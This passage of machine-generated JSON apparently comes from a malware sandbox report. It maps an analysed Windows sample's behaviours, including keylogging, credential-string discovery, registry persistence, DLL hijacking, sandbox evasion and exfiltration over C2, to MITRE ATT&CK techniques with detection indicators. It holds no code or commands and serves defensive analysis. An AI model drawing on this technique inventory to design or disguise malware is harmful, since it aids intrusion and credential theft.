Cryptographic classes"},{"type":"informative","value":"Contains key cryptographic functions (API string)"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"},{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops a Windows setup information (INF) file"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"},{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"},{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","identifiers":[{"type":"informative","value":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"suspicious","value":"Contains ability to retrieve open application windows"},{"type":"informative","value":"Calls an API typically used to get handle of currently active window"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"},{"type":"informative","value":"Loads the debugger/analysis tool module"},{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"},{"type":"informative","value":"Contains ability to set/delete MS-DOS device name (API string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"suspicious","value":"YARA signature match - RMM tools"},{"type":"informative","value":"YARA signature match - RMM tools"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Able to discover program location on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"},{"type":"informative","value":"Able to retrieve local network connections"},{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Contains ability to retrieve the local name for a socket (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"suspicious","value":"Calls an API typically used to retrieves adapter information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"informative","value":"Contains indicators of bot communication commands"},{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"},{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"},{"type":"informative","value":"Contains ability to modify process attributes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"},{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"},{"type":"informative","value":"Contains reference to Hijacked CLSID(s)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"References user shell folders registry key string"},{"type":"informative","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"System process made an unexpected change to registry persistence keys"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"DLL Search Order Hijacking","attack_id":"T1574.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/001","identifiers":[{"type":"informative","value":"Possible DLL sideloading"},{"type":"informative","value":"Potential hijacking of DLL execution flow detected"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"AppInit DLLs","attack_id":"T1546.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/010","identifiers":[{"type":"informative","value":"Contains ability to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to detect presence of virtual environment (API string)"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Contains ability to retrieve information set for devices (API string)"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"},{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"suspicious","value":"Calls an API typically used for keylogging"},{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve default language settings"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Contains ability to retrieve system language (API string)"},{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to provide information and utilities for managing network resources (API string)"},{"type":"informative","value":"Imports windows networking related APIs"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"},{"type":"informative","value":"Imports network management related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"},{"type":"informative","value":"Able to capture drag-drop file operations"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the 